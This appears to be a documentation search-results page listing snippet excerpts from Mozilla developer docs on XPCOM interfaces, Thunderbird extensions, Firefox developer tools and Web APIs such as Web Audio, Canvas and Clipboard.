...acallbacks any security callbacks for use with ssl for interfaces such as nsibadcertlistener.
...And 2 more matches
nsITaskbarWindowPreview
1.0 66 introduced gecko 1.9.2 inherits from: nsitaskbarpreview last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) you can't directly instantiate this interface; instead, call nsiwintaskbar.gettaskbarwindowpreview() to get the taskbar preview for a specific window.
... window preview behavior by default, windows implements much of the behavior for applications in a standard way.
...for example, the title and icon for each preview always match the title and icon of the corresponding window.
...And 2 more matches
nsIThread
last changed in gecko 1.9 (firefox 3) inherits from: nsieventtarget method overview void shutdown() boolean haspendingevents() boolean processnextevent(in boolean maywait) attributes attribute type description prthread prthread the nspr thread object corresponding to the nsithread.
...this causes events to stop being dispatched to the thread, and causes any pending events to run to completion before the thread joins with the current thread (see pr_jointhread() for details).
...if there aren't any pending events, this method may wait -- depending on the value of the maywait parameter -- until an event is dispatched to the thread.
...And 2 more matches
nsIThreadInternal
the nsithreadinternal interface is implemented by the xpcom thread object to let consumers observe dispatch activity on a thread.
... last changed in gecko 1.9 (firefox 3) inherits from: nsithread method overview void popeventqueue(); void pusheventqueue(in nsithreadeventfilter filter); attributes attribute type description observer nsithreadobserver get/set the current thread observer; set to null to disable observing.
...in addition, any new events dispatched to the thread are only processed if they are accepted by the specified filter.
...And 2 more matches
nsITimer
last changed in gecko 5 (firefox 5 / thunderbird 5 / seamonkey 2.2) inherits from: nsisupports implemented by: @mozilla.org/timer;1.
... target nsieventtarget the nsieventtarget to which the callback is dispatched.
... the processing time for each timer callback should not influence the timer period.
...And 2 more matches
nsITreeContentView
it is typically reached by calling queryinterface on a nsitreeview.
... last changed in gecko 1.8.0 inherits from: nsisupports method overview long getindexofitem(in nsidomelement item); nsidomelement getitematindex(in long index); attributes attribute type description root nsidomelement the element in the dom which this view uses as root content.
...long getindexofitem( in nsidomelement item ); parameters item a tree row for which to find the row index.
...And 2 more matches
nsIURIFixupInfo
inherits from: nsisupports last changed in gecko 1.7 attributes attribute type description consumer nsisupports consumer that asked for the fixed up uri.
... fixeduri nsiuri the fixed-up original input, *never* using a keyword search.
... keywordprovidername astring the keyword search provider name expected to provide a keyword search; empty string if no keyword search is performed.
...And 2 more matches
nsIWebNavigationInfo
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) implemented by: @mozilla.org/webnavigation-info;1 as a service: var webnavigationinfo = components.classes["@mozilla.org/webnavigation-info;1"] .getservice(components.interfaces.nsiwebnavigationinfo); method overview unsigned long istypesupported(in acstring atype, in nsiwebnavigation awebnav); constants support type constants constant value description unsupported 0 returned by istypesupported() to indicate lack of support f...
... note: this is guaranteed not to change, so that boolean tests can be done on the return value if istypesupported to detect whether a type is supported at all.
...unsigned long istypesupported( in acstring atype, in nsiwebnavigation awebnav ); parameters atype the mime type to check.
...And 2 more matches
nsIWebSocketListener
netwerk/protocol/websocket/nsiwebsocketlistener.idlscriptable implement this interface to receive websocket traffic events asynchronously after calling nsiwebsocketchannel.asyncopen().
... 1.0 66 introduced gecko 8.0 inherits from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) method overview void onacknowledge(in nsisupports acontext, in pruint32 asize); void onbinarymessageavailable(in nsisupports acontext, in acstring amsg); void onmessageavailable(in nsisupports acontext, in autf8string amsg); void onserverclose(in nsisupports acontext, in unsigned short acode, in autf8string areason); void onstart(in nsisupports acontext); void onstop(in nsisupports acontext, in nsresult astatuscode); methods onacknowledge() called to acknowledge a message sent via nsiwebsocketchannel.sendmsg() or nsiwebsocketchannel.sendbinarymsg().
...no additional messages through onmessageavailable(), onbinarymessageavailable()() or onacknowledge()() will be delievered to the listener after onserverclose() is called, but outgoing messages can still be sent through the nsiwebsocketchannel connection.
...And 2 more matches
nsIXMLHttpRequest
the interface definition: //github.com/realityripple/uxp/blob/master/dom/xhr/nsixmlhttprequest.idl elevated privileges as mentioned in the "non-standard properties" the property of channel was read-only.
...the most obvious benefit is that we can set nsirequest - constants in the xhr.channel.loadflags.
...the 'onload', 'onerror', and 'onreadystatechange' attributes moved to nsijsxmlhttprequest, but if you're coding in c++ you should avoid using those.
...And 2 more matches
nsIXULAppInfo
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) in xulrunner applications nsixulappinfo obtains app-specific information from application.ini.
...be careful about which one you want.
...has to be defined for advanced application features such as the extension manager and update service.
...And 2 more matches
nsIXULBrowserWindow
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) the xulbrowserwindow attribute exists on the nsixulwindow interface although both firefox and seamonkey also store their nsixulbrowserwindow reference in the global xulbrowserwindow object accessible from javascript code.
... note: the xulbrowserwindow object offered to javascript code provides a great many more methods and attributes than those listed here, which are only the ones available to c++ code.
...method overview astring onbeforelinktraversal(in astring originaltarget, in nsiuri linkuri, in nsidomnode linknode, in prbool isapptab); void setjsdefaultstatus(in astring status); void setjsstatus(in astring status); void setoverlink(in astring link, in nsidomelement element); methods onbeforelinktraversal() called before traversing a link to determine the appropriate target into which to load the link.
...And 2 more matches
NS_CStringGetMutableData
#include "nsstringapi.h" pruint32 ns_cstringgetmutabledata( nsacstring& astring, pruint32 adatalength, char** adata ); parameters astring [in] a nsacstring instance to modify.
... adatalength [in] the number of characters to resize the string's internal buffer to or pr_uint32_max to return the buffer as-is.
... return values this function returns the number of characters contained in the string's internal buffer (excluding any null-terminator).
...And 2 more matches
NS_StringInsertData
#include "nsstringapi.h" nsresult ns_stringinsertdata( nsacstring& astring, pruint32 aoffset, const prunichar* adata, pruint32 adatalength = pr_uint32_max ); parameters astring [in] a nsacstring instance to be modified.
... aoffset [in] an offset into the string's internal buffer specifying where to place the given characters.
... adata [in] a raw character array to copy into this string.
...And 2 more matches
nsCOMPtr versus RefPtr
this guide provides some explanation and advice on how to choose between them.
... this basic rule derives from the fact that some of the nscomptr<t> code is factored into the nscomptr_base base class, which stores the underlying mrawptr as an nsisupports*.
...in the future, more base classes might be added to t that would then cause unrelated code to break, which would be very confusing.
...And 2 more matches
wrappedJSObject
there are two kinds of xpconnect wrappers that support the wrappedjsobject property: xpcnativewrappers which are used to protect the chrome code working with content objects.
... regular xpconnect wrappers which you can encounter, for example, when using xpcom components implemented in js.
... this article focuses on the latter kind of wrappers, which hide any properties or methods on the component that are not part of the supported interfaces as declared in xpidl.
...And 2 more matches
DB Views (message lists)
these are the main view classes: nsmsgthreadeddbview - (implementation) nsmsgsearchdbview - (implementation) nsmsgquicksearchdbview - (implementation) nsmsgxfvirtualfolderdbview - (implementation) nsmsggroupview - (implementation) usually, a view object has parallel arrays, which map directly to lines in the message list: m_keys message header key m_flags 32 bits, combination of message header flags and view-only flags (e.g., collapsed) m_level the indentation level when in threaded mode.
... m_folders cross-folder views only (nsmsgsearchdbview and its descendant, nsmsgxfvirtualfolderdbview) most of the time, the thread pane is driven by an nsmsgthreadeddbview object (even when we're in a flat sort).
... if the user does a quick search or picks a view from the view menu, we create an nsmsgquicksearchdbview.
...And 2 more matches
MailNews Protocols
those protocols all have the following, defined in the corresponding protocol subdirectory of mailnews (i.e., mailnews/imap, mailnews/local (for pop3), mailnews/news): an incoming server class, which implements nsimsgincomingserver and inherits from mailnews/base/util/nsmsgincomingserver, i.e.., nspop3incomingserver, nsimapincomingserver, nsnntpincomingserver.
... a folder class, which implements nsimsgfolder, and inherits from nsmsgdbfolder.
...nsimapmailfolder, nsnewsfolder, nslocalmailfolder (for pop3) a service class, which generally sits between the folder object or the server object, and the protocol object.
...And 2 more matches
Building a Thunderbird extension 2: extension file layout
much of it may no longer be relevant.
... extensions are packaged and distributed in archive files (also known as bundles), with the xpi (pronounced “zippy”) file extension.
... at a minimum, they contain an install.rdf, the chrome.manifest and a chrome/ folder.
...And 2 more matches
Creating a Custom Column
for this we overlay messenger.xul, by placing the following line in our chrome.manifest file: overlay chrome://messenger/content/messenger.xul chrome://replyto_col/content/replyto_col_overlay.xul now that our overlay is set up we need to connect a column to the current columns that exist.
...to attach our column we add another treecol tag ("colreplyto") with the settings that we would like to use.
...is.only.xul"> <tree id="threadtree"> <treecols id="threadcols"> <splitter class="tree-splitter" /> <treecol id="colreplyto" persist="hidden ordinal width" currentview="unthreaded" flex="2" label="reply-to" tooltiptext="click to sort by the reply-to header" /> </treecols> </tree> <!-- include our javascript file --> <script type="text/javascript" src="chrome://replyto_col/content/replyto_col.js"/> </overlay> that's it!
...And 2 more matches
Use SQLite
this will create an sqlite db named tbird.sqlite inside your profile directory with a table called attachments.
... you can see the schema for the attachments table in the code.
... to double check the information you've inserted you can query the tbird.sqlite file using regular sqlite programs.
...And 2 more matches
Theme Packaging
theme file layout thunderbird themes are packaged in an xpi file with the following structure: theme.xpi: install.rdf preview.png icon.png chrome/ browser/files communicator/files global/files mozapps/files ...
... you must have a top-level chrome.manifest file which registers the chrome for the theme (as before) and also an install.rdf manifest that specifies metadata that is displayed in the appearance section of the add-ons manager.
... preview.png is a preview image which will show when double-clicked on a theme in the appearance section of the add-ons manager.
...And 2 more matches
Toolkit version format
application.ini in xulrunner applications appversion flag in chrome manifests.
... each version part is itself parsed as a sequence of four parts: <number-a><string-b><number-c><string-d>.
... each of the parts is optional.
...And 2 more matches
Using popup notifications
then you can create the popup notification at the appropriate time like this: popupnotifications.show(gbrowser.selectedbrowser, "sample-popup", "this is a sample popup notification.", null, /* anchor id */ { label: "do something", accesskey: "d", callback: function() { alert("doing something awesome!"); } }, null /* secondary action */ ); in this case, we aren't providing any secondary actions; that is, actions provided to the user through the drop-down menu.
...you can use this to style the icon, like this: .popup-notification-icon[popupid="sample-popup"] { list-style-image: url("chrome://popupnotifications/skin/mozlogo.png"); } with this css in place, the result is the look we want: adding secondary options to provide options in the drop-down menu, add an array of notification actions to the call to the show() method, like this: popupnotifications.show(gbrowser.selectedbrowser, "sample-popup", "this is a sample popup notification.", null, /* anchor id...
...cted."); } }, { label: "second secondary option", accesskey: "2", callback: function() { alert("second secondary option selected."); } } ] ); when this notification is presented, and the user clicks on the menu button in the panel, the display looks like this: when the user chooses one of your secondary actions from the drop-down menu, the corresponding callback is invoked.
...And 2 more matches
Using tab-modal prompts
gecko 2.0 introduces tab modal prompts, which only block the tab with which they're associated.
... using tab-modal prompts from chrome code currently, nsiprompt defaults to using window-modal prompts.
...an alert!"]; prompt.alert.apply(null, promptargs); nsiprompt will automatically fall back to window-modal prompts when necessary (such as in situations in which tab-modal prompts aren't supported, or for prompts displayed outside the context of a tab).le to use other forms of the prompts of nsipromptservice interface see the example code.
...And 2 more matches
StructType
describing fields the fields array is comprised of field descriptors, one for each field in the structure.
... each field descriptor contains the field's name and its type, such as {'serialnumber': ctypes.int}.
... a complete field descriptor list might look like this: [ {'serialnumber': ctypes.int}, {'username': ctypes.char.ptr} ] properties property type description fields ctype[] a sealed array of field descriptors.
...And 2 more matches
Constants - Plugins
nperr_incompatible_version_error 8 versions of plug-in and communicator do not match.
... npres_user_break 2 user canceled stream directly by clicking the stop button or indirectly by some action such as deleting the instance or initiating higher-priority network operations.
... plug-in version constants constant value description np_version_major 0 major version number; changes with major code release number.
...And 2 more matches
Monster example - Firefox Developer Tools
here's the code: var monster_count = 5000; var min_name_length = 2; var max_name_length = 48; function monster() { function randomint(min, max) { return math.floor(math.random() * (max - min + 1)) + min; } function randomname() { var chars = "abcdefghijklmnopqrstuvwxyz"; var namelength = randomint(min_name_length, max_name_length); var name = ""; for (var j = 0; j &lt; namelength; j++) { name += chars[randomint(0, chars.length-1)]; } return name; } this.name = randomname(); this.eyecount = randomint(0, 25); this.tentaclecount = randomint(0, 250); } function makemonsters() { var monsters = { ...
...specifically: the code creates an object with three properties, each an array: one for fierce monsters one for friendly monsters one for monsters who haven't decided yet.
... for each array, the code creates and appends 5000 randomly-initialized monsters.
...And 2 more matches
Inspecting web sockets - Firefox Developer Tools
only requests with the 101 status code (websocket protocol handshake) are visible, which indicates that the server is switching to a web socket connection.
...choose the reponse tab to inspect web socket frames sent and received through the selected connection.
...each frame expands on click, so you can inspect the formatted data.
...And 2 more matches
Performance Analysis - Firefox Developer Tools
using the performance analysis tool to run the performance analysis tool click the stopwatch icon in the toolbar.
... (alternatively, if you have only just opened the network monitor, so it's not yet populated with the list of requests, you'll get a stopwatch icon in the main window.) the network monitor then loads the site twice: once with an empty browser cache, and once with a primed browser cache.
...it displays the results for each run side by side, or vertically if the browser window is narrow: the results for each run are summarised in a table and a pie chart.
...And 2 more matches
Page inspector 3-pane mode - Firefox Developer Tools
the other css related features — such as computed styles view, animations view, and fonts view — in tabs on the right hand side, as usual.
... having the css rules in their own pane is very useful because it allows you to not only inspect your html and edit the css applied to it, but also see the effect this has on css features such as computed styles and grids in real time.
... with the 3-pane mode enabled, you can observe live changes in css features as you edit the rules applied to the page.
...And 2 more matches
Cookies - Firefox Developer Tools
that is, the domain value matches exactly the domain of the current website.
... note: some of the columns are not shown by default — to change the column display, right-click on the existing table headings and use the resulting context menu to show/hide the columns.
... context menu the context menu for each cookie includes the following commands: add item - add a new cookie.
...And 2 more matches
Web Audio Editor - Firefox Developer Tools
within that context they then construct a number of audio nodes, including: nodes providing the audio source, such as an oscillator or a data buffer source nodes performing transformations such as delay and gain nodes representing the destination of the audio stream, such as the speakers each node has zero or more audioparam properties that configure its operation.
...you can then examine and edit the audioparam properties for each node in the graph.
...to enable it, open the developer tool settings and check "web audio".
...And 2 more matches
AbstractWorker - Web APIs
event handlers abstractworker.onerror an eventlistener which is invoked whenever an errorevent of type error bubbles through the worker.
...instead, you'll interact with either worker or sharedworker, both of which inherit the properties of abstractworker.
... var myworker = new worker('worker.js'); first.onchange = function() { myworker.postmessage([first.value, second.value]); console.log('message posted to worker'); } the worker's code is loaded from the file "worker.js".
...And 2 more matches
Ambient Light Events - Web APIs
the ambient light events are a handy way to make a web page or an application aware of any change in the light intensity.
... it allows them to react to such a change, for example by changing the color contrast of the user interface (ui) or by changing the exposure necessary to take a picture.
... light events when the light sensor of a device detects a change in the light level, it notifies the browser of that change.
...And 2 more matches
AnalyserNode.getFloatFrequencyData() - Web APIs
each item in the array represents the decibel value for a specific frequency.
... if you need higher performance and don't care about precision, you can use analysernode.getbytefrequencydata() instead, which works on a uint8array.
...for any sample which is silent, the value is -infinity.
...And 2 more matches
AnalyserNode.smoothingTimeConstant - Web APIs
it's basically an average between the current buffer and the last buffer the analysernode processed, and results in a much smoother set of value changes over time.
... if 0 is set, there is no averaging done, whereas a value of 1 means "overlap the previous and current buffer quite a lot while computing the value", which essentially smoothes the changes across analysernode.getfloatfrequencydata/analysernode.getbytefrequencydata calls.
... in technical terms, we apply a blackman window and smooth the values over time.
...And 2 more matches
AnalyserNode - Web APIs
it is an audionode that passes the audio stream unchanged from the input to the output, but allows you to take the generated data, process it, and create audio visualizations.
... number of inputs 1 number of outputs 1 (but may be left unconnected) channel count mode "max" channel count 2 channel interpretation "speakers" inheritance this interface inherits from the following parent interfaces: <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" ...
...fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/audionode" target="_top"><rect x="151" y="1" width="90" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="196" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">audionode</text></a><polyline points="241,25 251,20 251,30 241,25" stroke="#d4dde4" fill="none"/><line x1="251" y1="25" x2="281" y2="...
...And 2 more matches
Animation.playState - Web APIs
finished the animation has reached one of its boundaries and the animation.currenttime property is not updating.
... previously, web animations defined a pending value to indicate that some asynchronous operation such as initiating playback was yet to complete.
...so they must be paused as soon as they are animated like so: // setting up the tear animations tears.foreach(function(el) { el.animate( tearsfalling, { delay: getrandommsrange(-1000, 1000), // randomized for each tear duration: getrandommsrange(2000, 6000), // randomized for each tear iterations: infinity, easing: 'cubic-bezier(0.6, 0.04, 0.98, 0.335)' }); el.pause(); }); // play the tears falling when the ending needs to be shown.
...And 2 more matches
Animation.startTime - Web APIs
the animation.starttime property of the animation interface is a double-precision floating-point value which indicates the scheduled time when an animation's playback should begin.
... an animation’s start time is the time value of its documenttimeline when its target keyframeeffect is scheduled to begin playback.
...you can read this value to determine what the start time is currently set at, and you can change this value to make the animation start at a different time.
...And 2 more matches
AudioBufferSourceNode.start() - Web APIs
the start() method of the audiobuffersourcenode interface is used to schedule playback of the audio data contained in the buffer, or to begin playback immediately.
... syntax audiobuffersourcenode.start([when][, offset][, duration]); parameters when optional the time, in seconds, at which the sound should begin to play, in the same time coordinate system used by the audiocontext.
...the default value, 0, will begin playback at the beginning of the audio buffer, and offsets past the end of the audio which will be played (based on the audio buffer's duration and/or the loopend property) are silently clamped to the maximum value allowed.
...And 2 more matches
AudioContext() - Web APIs
the audiocontext() constructor creates a new audiocontext object which represents an audio-processing graph, built from audio modules linked together, each represented by an audionode.
...the user agent may or may not choose to meet this request; check the value of audiocontext.baselatency to determine the true latency after creating the context.
...be sure to check the values if they matter to you.
...And 2 more matches
AudioContext.createJavaScriptNode() - Web APIs
the audiocontext.createjavascriptnode() method creates a javascriptnode which is used for directly manipulating audio data with javascript.
... syntax var jsnode = audioctx.createjavascriptnode(buffersize, numinputchannels, numoutputchannels); parameters buffersize the buffer size must be in units of sample frames, i.e., one of: 256, 512, 1024, 2048, 4096, 8192, or 16384.
... numinputchannels the number of input channels in the audio stream.
...And 2 more matches
AudioContextLatencyCategory - Web APIs
the audiocontextlatencycategory type is an enumerated set of strings which are used to select one of a number of default values for acceptable maximum latency of an audio context.
... by using these strings rather than a numeric value when specifying a latency to a audiocontext, you can allow the user agent to select an appropriate latency for your use case that makes sense on the device on which your content is being used.
... "interactive" the audio is involved in interactive elements, such as responding to user actions or needing to coincide with visual cues such as a video or game action.
...And 2 more matches
AudioContextOptions - Web APIs
the user agent may or may not choose to meet this request; check the value of audiocontext.baselatency to determine the true latency after creating the context.
... constants standard values for latencyhint the latencyhint property can be number specifying a preferred maximum latency in seconds or a string from the audiocontextlatencycategory enumerated string, which selects a standard value for a given type of audio usage: value description "balanced" the user agent should balance audio output latency and power consumption when selecting a latency value.
... "interactive" the audio is involved in interactive elements, such as responding to user actions or needing to coincide with visual cues such as a video or game action.
...And 2 more matches
AudioNodeOptions - Web APIs
syntax var audionodeoptions = { "channelcount" : 2, "channelcountmode" : "max", "channelinterpretation" : "discrete" } properties channelcount optional represents an integer used to determine how many channels are used when up-mixing and down-mixing connections to any inputs to the node.
... (see audionode.channelcount for more information.) its usage and precise definition depend on the value of audionodeoptions.channelcountmode.
... channelcountmode optional represents an enumerated value describing the way channels must be matched between the node's inputs and outputs.
...And 2 more matches
AudioParam.cancelAndHoldAtTime() - Web APIs
the cancelandholdattime() property of the audioparam interface cancels all scheduled future changes to the audioparam but holds its value at a given time until further changes are made using other methods.
... syntax var audioparam = audioparam.cancelandholdattime(canceltime) parameters canceltime a double representing the time (in seconds) after the audiocontext was first created after which all scheduled changes will be cancelled.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
AudioTrack.enabled - Web APIs
example this example switches between the main and commentary audio tracks of a media element.
... function swapcommentarymain() { var videoelem = document.getelementbyid("main-video"); var audiotrackmain; var audiotrackcommentary; videoelem.audiotracks.foreach(track) { if (track.kind === "main") { audiotrackmain = track; } else if (track.kind === "commentary") { audiotrackcommentary = track; } } if (audiotrackmain && audiotrackcommentary) { var commentaryenabled = audiotrackcommentary.enabled; audiotrackcommentary.enabled = audiotrackmain.enabled; audiotrackmain.enabled = commentaryenabled; } } the swapcommentarymain() function above finds within the audio tracks of the <video> element "main-video" the audio tracks whose kind values are "main" and "commentary".
... note: this example assumes that there is only one of each kind of track in the video, but this is not necessarily the case.
...And 2 more matches
AudioTrack.language - Web APIs
for tracks that include multiple languages (such as a movie in english in which a few lines are spoken in other languages), this should be the video's primary language.
... syntax var audiotracklanguage = audiotrack.language; value a domstring specifying the bcp 47 (rfc 5646) format language tag of the primary language used in the audio track, or an empty string ("") if the language is not specified or known, or if the track doesn't contain speech.
... example this example locates all of a media element's primary language and translated audio tracks and returns a list of objects containing each of those tracks' id, kind, and language.
...And 2 more matches
AudioWorkletNode.parameters - Web APIs
there we've created a simple node which outputs white noise.
... here, additionally, we'll create a custom gain parameter, so we can directly change volume of the output (although you could use gainnode to achieve this as well).
... // white-noise-processor.js class whitenoiseprocessor extends audioworkletprocessor { static get parameterdescriptors () { return [{ name: 'customgain', defaultvalue: 1, minvalue: 0, maxvalue: 1, automationrate: 'a-rate' }] } process (inputs, outputs, parameters) { const output = outputs[0] output.foreach(channel => { for (let i = 0; i < channel.length; i++) { channel[i] = (math.random() * 2 - 1) * (parameters['customgain'].length > 1 ?
...And 2 more matches
AudioWorkletNode - Web APIs
the audioworkletnode interface of the web audio api represents a base class for a user-defined audionode, which can be connected to an audio routing graph along with other nodes.
... it has an associated audioworkletprocessor, which does the actual audio processing in a web audio rendering thread.
...with this mechanism it is possible to make your own audioparam objects accessible from your audioworkletnode.
...And 2 more matches
BaseAudioContext.createPanner() - Web APIs
the createpanner() method of the baseaudiocontext interface is used to create a new pannernode, which is used to spatialize an incoming audio stream in 3d space.
... the panner node is spatialized in relation to the audiocontext's audiolistener (defined by the audiocontext.listener attribute), which represents the position and orientation of the person listening to the audio.
...you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
...And 2 more matches
BasicCardRequest - Web APIs
instead of using this property, it is up to the server to check support for the card given the information coded into the account number.
... card network identifiers the w3c maintains an official list of approved card network identifier strings, which may be used in the supportednetworks list.
... those are: amex cartebancaire diners discover jcb mastercard mir unionpay visa examples in the following example, the paymentrequest() constructor is used to create a new payment request, which takes three objects as parameters — one containing details of the payment methods that can be used for the payment, one containing details of the actual order (such as items bought and shipping options), and an optional object that describes what data is needed to fullfil the payment (e.g., a shipping address).
...And 2 more matches
BiquadFilterNode.getFrequencyResponse() - Web APIs
syntax biquadfilternode.getfrequencyresponse(frequencyarray, magresponseoutput, phaseresponseoutput); parameters frequencyarray a float32array containing an array of frequencies, specified in hertz, which you want to filter.
... magresponseoutput a float32array to receive the computed magnitudes of the freqency response for each frequency value in the frequencyarray.
... phaseresponseoutput a float32array to receive the computed phase response values in radians for each frequency value in the input frequencyarray.
...And 2 more matches
Body.arrayBuffer() - Web APIs
WebAPIBodyarrayBuffer
examples playing music in our fetch array buffer live, we have a play button.
...if you need to play ogg during downloading (stream it) - consider htmlaudioelement: new audio("music.ogg").play(); in getdata() we create a new request using the request() constructor, then use it to fetch an ogg music track.
...when the fetch is successful, we read an arraybuffer out of the response using arraybuffer(), decode the audio data using audiocontext.decodeaudiodata, set the decoded data as the audio buffer source's buffer (source.buffer), then connect the source up to the audiocontext.destination.
...And 2 more matches
BudgetService.getBudget() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgetbudget experimentaldeprecatednon-standardchrome full support 55edge full support ≤79firefox ?
... webview android full support 55chrome android full support 55firefox android ?
...And 2 more matches
BudgetService.getCost() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgetcost experimentaldeprecatednon-standardchrome full support 55edge full support ≤79firefox ?
... webview android full support 55chrome android full support 55firefox android ?
...And 2 more matches
BudgetService.reserve() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetreserve experimentaldeprecatednon-standardchrome full support 55edge full support ≤79firefox ?
... webview android full support 55chrome android full support 55firefox android ?
...And 2 more matches
BudgetState.budgetAt - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbudgetat experimentaldeprecatednon-standardchrome full support 60edge full support ≤79firefox ?
... webview android no support nochrome android full support 60firefox android ?
...And 2 more matches
CSSStyleSheet.cssRules - Web APIs
the read-only cssstylesheet property cssrules returns a live cssrulelist which provides a real-time, up-to-date list of every css rule which comprises the stylesheet.
... each item in the list is a cssrule defining a single rule.
... syntax var rules = cssstylesheet.cssrules; value a live-updating cssrulelist containing each of the css rules making up the stylesheet.
...And 2 more matches
CanvasRenderingContext2D.fillText() - Web APIs
the canvasrenderingcontext2d method filltext(), part of the canvas 2d api, draws a text string at the specified coordinates, filling the string's characters with the current fillstyle.
... an optional parameter allows specifying a maximum width for the rendered text, which the user agent will achieve by condensing the text or by using a lower font size.
... to draw the outlines of the characters in a string, call the context's stroketext() method.
...And 2 more matches
CanvasRenderingContext2D.getImageData() - Web APIs
syntax ctx.getimagedata(sx, sy, sw, sh); parameters sx the x-axis coordinate of the top-left corner of the rectangle from which the imagedata will be extracted.
... sy the y-axis coordinate of the top-left corner of the rectangle from which the imagedata will be extracted.
... sw the width of the rectangle from which the imagedata will be extracted.
...And 2 more matches
CanvasRenderingContext2D.putImageData() - Web APIs
dx horizontal position (x coordinate) at which to place the image data in the destination canvas.
... dy vertical position (y coordinate) at which to place the image data in the destination canvas.
... dirtyx optional horizontal position (x coordinate) of the top-left corner from which the image data will be extracted.
...And 2 more matches
CanvasRenderingContext2D.strokeText() - Web APIs
the canvasrenderingcontext2d method stroketext(), part of the canvas 2d api, strokes — that is, draws the outlines of — the characters of a text string at the specified coordinates.
... an optional parameter allows specifying a maximum width for the rendered text, which the user agent will achieve by condensing the text or by using a lower font size.
... use the filltext() method to fill the text characters rather than having just their outlines drawn.
...And 2 more matches
Compositing and clipping - Web APIs
this is more than adequate for most situations, but it limits the order in which composite shapes are built.
... we can, however, change this behaviour by setting the globalcompositeoperation property.
... globalcompositeoperation = type this sets the type of compositing operation to apply when drawing new shapes, where type is a string identifying which of the twelve compositing operations to use.
...And 2 more matches
Clients - Web APIs
WebAPIClients
methods clients.get() returns a promise for a client matching a given id.
... clients.matchall() returns a promise for an array of client objects.
... examples the following example shows an existing chat window or creates a new one when the user clicks a notification.
...And 2 more matches
Clipboard.write() - Web APIs
WebAPIClipboardwrite
the clipboard method write() writes arbitrary data, such as images, to the clipboard.
... note: browser support for the asynchronous clipboard apis is still in the process of being implemented.
... be sure to check the compatibility table as well as clipboard availability in clipboard for more information.
...And 2 more matches
ContentIndex - Web APIs
examples feature detection and interface access here we get a reference to the serviceworkerregistration, then check for the index property, which gives us access to the content index interface.
... // reference registration const registration = await navigator.serviceworker.ready; // feature detection if ('index' in registration) { // content index api functionality const contentindex = registration.index; } adding to the content index here we're declaring an item in the correct format and creating an asynchronous function which uses the add() method to register it with the content index.
... // our content const item = { id: 'post-1', url: '/posts/amet.html', title: 'amet consectetur adipisicing', description: 'repellat et quia iste possimus ducimus aliquid a aut eaque nostrum.', icons: [{ src: '/media/dark.png', sizes: '128x128', type: 'image/png', }], category: 'article' }; // our asynchronous function to add indexed content async function registercontent(data) { const registration = await navigator.serviceworker.ready; // feature detect content index if (!registration.index) { return; } // register content try { await registration.index.add(data); } catch (e) { console.log('failed to register content: ', e.message); } } retrieving items within the current index the below example shows an asynchronous function that retrie...
...And 2 more matches
ConvolverNode() - Web APIs
options optional options are as follows: audiobuffer: a mono, stereo, or 4-channel audiobuffer containing the (possibly multichannel) impulse response used by the convolvernode to create the reverb effect.
... exceptions exception explanation notsupportederror the referenced audiobuffer does not have the correct number of channels, or it has a different sample rate to the associated audiocontext.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
CustomElementRegistry.define() - Web APIs
note: you'll often get notsupportederrors thrown that seem like define() is failing, but instead it is likely a problem with element.attachshadow().
... // create a class for the element class popupinfo extends htmlelement { constructor() { // always call super first in constructor super(); // create a shadow root var shadow = this.attachshadow({mode: 'open'}); // create spans var wrapper = document.createelement('span'); wrapper.setattribute('class','wrapper'); var icon = document.createelement('span'); icon.setattribute('class','icon'); icon.setattribute('tabindex', 0); var info = document.createelement('span'); info.setattribute('class','info'); // take attribute content and put it inside the info span var text = this.getattribute('text'); in...
...fo.textcontent = text; // insert icon var imgurl; if(this.hasattribute('img')) { imgurl = this.getattribute('img'); } else { imgurl = 'img/default.png'; } var img = document.createelement('img'); img.src = imgurl; icon.appendchild(img); // create some css to apply to the shadow dom var style = document.createelement('style'); style.textcontent = '.wrapper {' + 'position: relative;' + '}' + '.info {' + 'font-size: 0.8rem;' + 'width: 200px;' + 'display: inline-block;' + 'border: 1px solid black;' + 'padding: 10px;' + ...
...And 2 more matches
DOMError - Web APIs
WebAPIDOMError
